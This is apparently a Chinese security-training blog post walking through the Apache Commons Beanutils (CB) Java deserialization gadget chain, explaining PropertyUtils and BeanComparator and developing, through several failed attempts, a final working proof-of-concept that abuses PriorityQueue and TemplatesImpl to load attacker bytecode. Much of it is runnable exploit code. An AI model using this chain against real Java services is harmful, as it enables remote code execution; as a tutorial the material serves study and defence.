免责申明:
本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
环境配置
pom.xml
添加:
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version>
</dependency>
<dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version>
</dependency>
测试环境
commons-beanutils 1.8.3
commons-logging:commons-logging:1.2
JDK 8u411
commons-collections3.2.1
这里需要3.2.1的原因是后面要利用的BeanComparator要用:
踩了一下坑,这里4是用不了的
正式学习
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通java类对象(也称为JavaBean)的一些操作方法。
而JavaBean是一个遵循特定写法的Java类,它通常具有如下特点:
这个类必须具有一个无参的构造函数(一般我们没自定义构造函数的话默认的就是无参的构造函数)
属性必须私有化
私有化的属性必须通过public类型的方法暴露给其他程序,并且方法的命名也必须遵守一定的命名规范。
比如如下的Cat类就是一个最简单的JavaBean类:
final public class Cat {private String name = "catalina";public String getName() {return name;}public void setName(String name) {this.name = name;}
}
它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。
需要了解的类
PropertyUtils:
它是对JavaBean进行操作的工具类,可单独为某个属性进行值的操作的工具类。它利用反射操作Bean的属性。这个类位于org.apache.commons.beanutils.PropertyUtils。
PropertyUtils类中提供了一些public的静态方法,以便直接调用一些getter和setter方法:
getProperty
:返回指定Bean的指定属性的值
getSimpleProperty
:返回执行Bean的指定属性的值
setProperty
:设置指定Bean的指定属性的值
etSimpleProperty
:设置指定Bean的指定属性的值
看一个实例:
package org.example;
import org.apache.commons.beanutils.PropertyUtils;public class Main{private String name;public void setName(String name){this.name = name;}public String getName(){return this.name;}public static void main(String[] args) throws Exception {Main x = new Main();PropertyUtils.setProperty(x,"name","fupanc");System.out.println(x.getName());x.setName("haha");System.out.println(PropertyUtils.getProperty(x,"name"));}
}
输出为:
fupanc
haha
看这个结果已经很容易知道前面的方法是干嘛的了。注意一下在调用方法时对于参数设置的问题。
所以这里其实很容易看出,PropertyUtils.getProperty/setProperty方法,参数一定要注意,其实就可以理解为调用对应类变量的getter和setter方法。
BeanComparator:
前面也说过,其实CB链就是cc2的基础上新找了一个调用compare进行利用。在ysoserial中利用到的是BeanComparator类,这个类位于org.apache.commons.beanutils.BeanComparator,我们来看一下他的compare方法:
重点关注:
前面说过getProperty()方法,在这里那么就会调用o1、o2对象的property变量的getter方法。
在ysoserial中,CB链利用到了TemplatesImpl类,是通过PropertyUtils.getProperty来调用_outputProperties变量的getter方法,也就是TemplatesImpl的getOutputProperties方法来动态加载字节码,那么现在来看一下getOutputProperties()方法的源码:
这里调用了newTransformer()方法,在这里就可以进行一次恶意动态加载字节码的过程。
那么在BeanComparator的compare()方法中,我们需要控制o1/o2为TemplatesImpl对象,this.Properties为outputProperties字符串。
看一下BeanComparator类的构造方法,按照前面的描述,我们这里不需要自定义this.comparator变量,这里我们要利用到的是构造方法是:
其实也就是下面那个,但是直接使用“默认”的comparator了。
攻击构造
前面把基本的链给了出来,在这里还是利用的PriorityQueue作为序列化和反序列化的类,反序列化的时候是差不多的,最终到调用compare()方法的地方是:
现在其实感觉和CC2差不多了。
构造基本的字节码:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}
然后其他流程直接当做cc2那里看,现在简单分别分析一下过程。
反序列化部分
和CC2差不多,PriorityQueue的readObject() ⏩heapify() ⏩siftDown() ⏩siftDownUsingComparator,最终也就是如下:
按照CC2过程来,假如我们add进两个值,那么这里的k为0,x为queue[0]的值,也就是我们第一个add进的值,同时看这个方法的内部,那么再分别说一下值问题:
half:1child:1right:2
所以上面的c对应我们前面add进的第二个值,看大小情况可以知道是会进入第二个if条件语句,对应参数分别为(x:queue[0],c:queue[1])。
结合前面对BeanComparator类的compare()方法的描述,可以知道我们这里至少需要一个为设计好了的TemplatesImpl类对象。
序列化部分
add()有个部分,在第二次add进值的时候:
按照前面的说法,这里会进入BeanComparator的compare()方法,这里的k即是1,x即是我第二次要放入的值,e就是queue[0],也就是我放入的第一个值。看这里的compare()的值,看参数(x:add2,e:queue[0]),在前面序列化的时候说了,我们需要至少add进一个TemplatesImpl类实例,那么其实在这里同样可以尝试一下构造在序列化时弹出计算机:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator("outputProperties");PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(tem);}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}
成功按照预期弹出一个计算机。还有就是存在一个和之前一样的问题,当我利用TemplatesImpl来动态加载恶意字节码的时候,如果我add进两个tem,只会弹出一个计算机,在第一个结束后会直接报错结束,并不会进入第二个利用点:
比如CC4等。
还有一个需要注意的点就是这里add进的顺序也有讲究,比如我像上面代码那样只add进一个,那么我必须保证tem在o1,因为o1/o2必须为一个类实例,按照前面将的参数问题,o1对应add2,也就是我要在第二个地方add进tem,否则会直接报错退出。
那么我们现在继续关注第二次add后会发生什么: 在前面抛出异常后,不知道调用compare()方法后到底会返回什么,那么我们直接打断点来看会到哪里,发现确实会在抛出异常后直接退出,那么这样我们并不能成功在queue[1]成功设置为tem,从而导致后续都失败。
在ysoserial中给出了解决方法,我们可以先往里面随便add进值,然后再反射更改为我想利用的,那么测试代码可以改为:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator("outputProperties");PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(1);Object[] x = new Object[]{1,tem};Field field1 = PriorityQueue.class.getDeclaredField("queue");field1.setAccessible(true);field1.set(priority,x);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(priority);out.close();ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));input.readObject();input.close();}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}
然后这里报错了我们上面说的问题,PropertyUtils的getProperty的方法第一个参数需要为类实例,但是我们这里传入的都是整数,所以在第二次add后会报错。
解决方法,在BeanComparator的compare()方法中:
这里只要满足property为null,就不会再调用getProperty()方法,而是正常的compare方法来比较。
所以我们这里可以使得property先为null,而后再反射修改这个值为outputProperties。
那么POC
为:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator();PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(1);//错误点Object[] x = new Object[]{1,tem};Field field1 = PriorityQueue.class.getDeclaredField("queue");field1.setAccessible(true);field1.set(priority,x);String name = "outputProperties";Field field2 = BeanComparator.class.getDeclaredField("property");field2.setAccessible(true);field2.set(bean,name);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(priority);out.close();ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));input.readObject();input.close();}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}
继续报错
然后思考,这里逻辑明明没有问题,但是为啥还是弹这个问题,然后我尝试修改为传入两个tem,成功弹出计算机,然后再仔细比对一下,找出问题所在,问题处在前面的POC标出来了,感兴趣的可以先自己想想。
我前面的POC构造是按照序列化前的add()部分构造的,其中的顺序需要为:add1为其他,必须add2为tem。
但是在反序列化过程中
注意前面分析时给出的结果,在反序列时调用到BeanComparator的compare()方法时的参数分别为(x:queue[0],c:queue[1])。
所以这里是先调用的queue[0],同时结合我们前面的说法,只会调用一次,所以我们这里需要,如下设置:
Object[] x = new Object[]{tem,1};
那么最终的POC
为:
package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator();PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(1);Object[] x = new Object[]{tem,1};Field field1 = PriorityQueue.class.getDeclaredField("queue");field1.setAccessible(true);field1.set(priority,x);String name = "outputProperties";Field field2 = BeanComparator.class.getDeclaredField("property");field2.setAccessible(true);field2.set(bean,name);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(priority);out.close();ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));input.readObject();input.close();}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}
最终也是成功按照预期弹出一个计算机。
原创 zkaq-fupanc 掌控安全EDU